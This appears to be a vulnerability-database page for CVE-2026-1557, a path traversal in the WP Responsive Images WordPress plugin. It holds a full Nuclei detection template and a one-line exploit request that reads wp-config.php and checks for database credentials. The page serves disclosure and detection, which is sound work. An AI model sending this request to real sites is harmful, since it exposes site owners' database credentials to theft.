HexBrain

Browse / CVEs / CVE-2026-1557

CVE-2026-1557

WP Responsive Images <= 1.0 - Arbitrary File Read

highseverity
7.5CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.

Impact

nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.

Fix

Update to the latest version of WP Responsive Images plugin.

How to confirm it

Send: GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php
Positive when: status_code==200 || status_code==403 and contains_all(body, "DB_NAME", "DB_PASSWORD")

Run it with nuclei: nuclei -id CVE-2026-1557 -u <target>

The full check
id: CVE-2026-1557

info:
  name: WP Responsive Images <= 1.0 - Arbitrary File Read
  author: Shivam Kamboj
  severity: high
  description: |
    WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.
  impact: |
    nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of WP Responsive Images plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-responsive-images/wp-responsive-images-10-unauthenticated-path-traversal-to-arbitrary-file-read-via-src
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-1557
    epss-score: 0.01866
    epss-percentile: 0.79471
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,wp-responsive-images,vkev

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code==403'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from